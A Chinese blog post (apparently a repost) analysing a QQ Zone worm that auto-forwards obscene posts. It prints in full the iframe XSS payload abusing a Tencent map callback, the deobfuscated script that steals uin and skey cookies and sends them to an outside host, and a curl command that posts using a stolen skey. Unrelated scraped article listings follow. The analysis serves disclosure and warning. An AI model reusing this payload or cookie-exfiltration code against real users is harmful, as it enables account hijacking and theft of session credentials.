有些很讨厌的带链接说说,只要你在手机打开它,就会自动转发,内容极其不雅

一怒之下我决定看个究竟
首先,在此页开头有此关键语句:

 <iframe
src="http://rtb.map.qq.com/rtbus?qt=comps&cb=</script><svg><script>eval(window.name);//"
name="s=document.createElement('script');document.body.appendChild(s);s.src='http://conf3.gamexm.net/moo.js';" style="display:none">
</iframe>

<iframe … style=”display:none”表明了这是一个隐藏的窗口,
src是一个精心构造的URL作为窗口的内容,
窗口名name是一段脚本

首先,浏览器会加载http://rtb.map.qq.com/rtbus?qt=comps&cb=</script><svg><script>eval(window.name);//
http://rtb.map.qq.com/rtbus?qt=comps&cb=#Your_Code_Here#

这是腾讯地图的 RealTime Bidding(实时竞价,RTB)API,会受到腾讯自己和杀软的信任,它的作用是返回这样的格式:
#Your_Code_Here# && #Your_Code_Here#({“detail”:{“comp_list”:[{“city”:3,”comp_id”:1,”name”:”腾讯北分”}],”num”:1},”info”:{“error”:0,”type”:86}})

腾讯北分,真是233到不行。看来北分在积极参与啊!

于是<iframe> 里面出现这样一个东西:

 </script><svg><script>eval(window.name);// && </script><svg><script>eval(window.name);//({"detail":{"comp_list":[{"city":3,"comp_id":1,"name":"腾讯北分"}],"num":1},"info":{"error":0,"type":86}})

呵呵,这不是一个XSS(跨站点攻击脚本)吗!!!
“</script><svg>”由于浏览器的容错性被忽视了,“//”大家都知道是注释,于是最终效果就是这个:
eval(window.name);

eval(“s=document.createElement(‘script’);document.body.appendChild(s);s.src=’http://conf3.gamexm.net/moo.js’;”)
eval作用是把字符串作为代码解析。
s=document.createElement(‘script’);document.body.appendChild(s);会在文档结尾创建<script></script>标签,此标签内的代码会被执行

标签内的代码变成了http://conf3.gamexm.net/moo.js这个恶意脚本

这个脚本是这样的:
OlOlll=”(x)”;OllOlO=” String”;OlllOO=”tion”;OlOllO=”Code(x)}”;OllOOO=”Char”;OlllOl=”func”;OllllO=” l = “;OllOOl=”.from”;OllOll=”{return”;Olllll=”var”;eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)
…………………………………………(略)特别长,特别费解,也是精心设计的!

请注意Ol不是01,是英文字母,为了造成阅读困难。eval已经暴露了一切。来,我们一窥究竟!
按照OlOlll=”(x)”;等等进行替换

好,我们先解决第一部分,整理后如下:

 OlOlll="(x)";
OllOlO=" String";
OlllOO="tion";
OlOllO="Code(x)}";
OllOOO="Char";
OlllOl="func";
OllllO=" l = ";
OllOOl=".from";
OllOll="{return";
Olllll="var";
eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);

然后可以得出

eval("var l = function(x){return String.fromCharCode(x)}");

好了,l是个函数,返回数字ascii码对应的字符,然后下面一段意图就非常显然了:

eval(l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l()+l());

解析后得到

eval("O=function(m){return String.fromCharCode(Math.floor(m/10000)/99);}");

呵呵,函数O这是要玩大的数啊!!!
下面的非常可怕,不过可以用调试得出答案
eval(“”+O(100980757)+O(115834719)+O(108907232)+O(98018607)+O(114843475)+O(103957850)+O(109895097)+O(108901326)+O(31681911)+O(101979572)+O(99991327)+O(114842917)+O(70290385)+O(83168569)+O(74258232)+O(39600813)+O(113855001)+O(114847653)+O(112861483)+O(40597539)++O。。。(实在太长了)
解析排版,删去干扰字符得到后得到:

 function getGTK(str)
{
var hash = 5381;
for (var i = 0, len = str.length; i < len; ++i)
{
hash += (hash << 5) + str.charAt(i).charCodeAt();
}
return hash & 0x7fffffff;
}
function getCookie(name)
{
var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
if (arr = document.cookie.match(reg)) return unescape(arr[2]);else return null;
}
var q=parseInt(getCookie("uin").replace("o", ""));
var k=getCookie("skey");
var oHead = document.getElementsByTagName('HEAD').item(0);
var toscript = document.createElement("script");
toscript.type = "text/javascript";
toscript.src = "http://config.baigou51.com/getcookie.asp?q="+q+"&s="+k+"&g="+getGTK(k)+"&t=3";
oHead.appendChild(toscript);

TMD!!!还没有结束!!!继续战斗!!!
Cookie是一类数据,由网站生成,涉及用户的关键、动态信息(比如判断用户是否登陆)
我进入QQ空间后,Cookie为
uin=o2980412917; skey=@Gxkiad0xM;
uin显然为O+我的QQ号,skey是个关键临时密码,(我重登后就过期了,所以不用试!)

getCookie(name)函数用于获取我的Cookie
getGTK(str)是为了给skey签名,这样可以确保skey是有效的
然后这段代码会在网页里面产生如下脚本并执行:

<script src="http://config.baigou51.com/getcookie.asp?q=&s=2980412917@Gxkiad0xM&g=1850298802&t=3" />

其实就是执行那个链接,把你的skey交给服务器。然后,一切结束了。
因为skey功能是这样的:
“skey权限代码,也就是说如果可以获得一个QQ号码的Skey代码,也就相应的拿到了对方QQ登陆和管理权限,这意味着你完全可以以主人的身份分分钟进入对方的空间、查看加密的相册,甚至发表说说,删除留言…”

QQ号+skey就有了一切!服务器自动替你发说说!!!
比如只要

curl "http://user.qzone.qq.com/q/taotao/cgi-bin/emotion_cgi_forward_v6?g_tk=1850298802" -H "Host: user.qzone.qq.com" (略去一些数据) -H "Referer: http://user.qzone.qq.com/2980412917/main" -H "Cookie:uin=o########; skey=*******;" --data "说说内容"

然后就有一条说说出现在你的空间里面!

你输了!!!

唯一解决方法就是退出空间(手机需要退出QQ),重新登陆QQ,这样会产生新的skey,原来的skey就无效了.
刷新网页,或者关掉手机QQ空间,不会改变skey

Tencent空间使用了各种方法来保护skey,但是防不住如此的伪装。另外腾讯北分为此做了重大贡献!

战斗已经结束,好久没有这么精彩的一遭了.各位晚安!望引以为戒!

转自:http://zsy.blog.ustc.edu.cn/archives/133

关于恶意说说自动在QQ空间转发的机制的更多相关文章

  1. php模拟用户自动在qq空间发表文章的方法

    我们这里是一个简单的利用php来模拟登录后再到QQ空间发送文章的一个简单的程序,有需要的朋友可以参考,或改进可以给我意见,代码如下: <?php //模拟get post请求函数 http:// ...

  2. python基于selenium实现自动删除qq空间留言板

    py大法好,让你解放双手. 脚本环境 python环境,selenium库,Chrome webdriver驱动等. 源码 # coding=utf-8 import datetime import ...

  3. 自动发表QQ空间说说

    require("gb2312toutf8") local http = require "socket.http" local surl = "ht ...

  4. 树莓派自动播报温湿度到QQ空间、微博

    原文链接 https://aoaoao.me/951.html 这是个比较无聊的应用...灵感来自于一个叫做“古城钟楼”的微博账号,此账号每天都会定点报时,除此之外没有其他任何内容,以此吸引了近50万 ...

  5. 技术揭秘“QQ空间”自动转发不良信息

    大家经常会看到QQ空间自动转发一些附带链接的不良信息,即便我们的QQ密码并没有被盗取.最近通过对一个QQ空间自动转发链接进行分析,发现该自动转发机制通过利用腾讯网站存在漏洞的页面,精心构造出利用代码获 ...

  6. 手机QQ空间自动点赞登录

    学以致用~使用 Appium 模拟人类操控手机行为 V2.0在手机上运行,目前实现以下功能: 1.小黑屋模式,一分钟内给好友发100条消息然后进了好友的小黑屋 2.定时发消息提醒对象多喝热水~ 3.对 ...

  7. Atitit qzone qq空间博客自动点赞与评论工具的设计与实现

    Atitit qzone qq空间博客自动点赞与评论工具的设计与实现 Qzone发送评论的原理 首先,有个a标签, <a class="c_tx3" href="j ...

  8. QQ空间自动发广告解决方法

    最近空间好多人QQ都中了毒.每天我都有几十个好友刷空间话费.流量广告! QQ空间自动发广告的原因: 最近使用了刷赞或者其他QQ外挂软件(有些开发者或破解者会在这样的软件上留后门,请自己判断). 或者最 ...

  9. Java版 QQ空间自动登录无需拷贝cookie一天抓取30WQQ说说数据&流程分析

    QQ空间说说抓取难度比较大,花了一个星期才研究清楚! 代码请移步到GitHub GitHub地址:https://github.com/20100507/Qzone [没有加入多线程,希望你可以参与进 ...

随机推荐

  1. PHP安装posix、pctl扩展

    安装问题 PHP Fatal error: Uncaught Error: Call to undefined function tsingsun\swoole\server\posix_kill() ...

  2. November 30th 2016 Week 49th Wednesday

    Your attitude, not your aptitude, will determine your altitude. 决定你人生高度的,不是你的才能,而是你的态度. Basically, I ...

  3. 阿里八八Alapa事后诸葛亮

    设想和目标 1.我们的软件要解决什么问题?是否定义的很清楚?是否对典型用户和典型场景有清晰的描述? 我们的项目希望解决用户对于时间.日程管理上不够方便.直观.易丢失的问题,因为并不是新颖高端的概念,因 ...

  4. 事后诸葛亮之Alpha十天冲刺之失败总结

    参考自构建之法p341页的模板 首先自己预计了一下,项目gg的可能有百分之50这里面有百分之80是我的责任.冲刺失败我承担主要责任. 1.设想和目标: 1.计划实现类似华为云的小功能之团队合作开发功能 ...

  5. springboot+mybatis+mysql创建简单web后台项目

    第一步:搭建框架 新建进入这个页面 新建名字,第一次可以默认,然后下一步 第三步:选择依赖 第四步:新建项目名和存放项目路径(你可以新建一个文件夹存放) 点击finish,首次创建Springboot ...

  6. ubuntu 12.04配置mac的Lion主题的风格

    1.下载mac壁纸 http://drive.noobslab.com/data/wallpapers/Mac-os-x-Wallpapers%28NoobsLab.com%29.zip 根据自己喜好 ...

  7. 通过应用程序域AppDomain加载和卸载程序集

    微软装配车的大门似乎只为货物装载敞开大门,却将卸载工人拒之门外.车门的钥匙只有一把,若要获得还需要你费一些心思.我在学习Remoting的时候,就遇到一个扰人的问题,就是Remoting为远程对象仅提 ...

  8. winform程序打包成exe文件

    拿到一个实现功能的winform小程序,如何利用NSIS工具制作安装包? 1.NSIS工具下载地址 点我下载 2.启动NSIS工具,如图点击 3.选择"使用脚本向导创建新的脚本文件" ...

  9. PAT乙级1027

    1027 打印沙漏 (20 分)   本题要求你写个程序把给定的符号打印成沙漏的形状.例如给定17个“*”,要求按下列格式打印 ***** *** * *** ***** 所谓“沙漏形状”,是指每行输 ...

  10. $2018/8/19 = Day5$学习笔记 + 杂题整理

    \(\mathcal{Morning}\) \(Task \ \ 1\) 容斥原理 大概这玩意儿就是来用交集大小求并集大小或者用并集大小求交集大小的\(2333\)? 那窝萌思考已知\(A_1,A_2 ...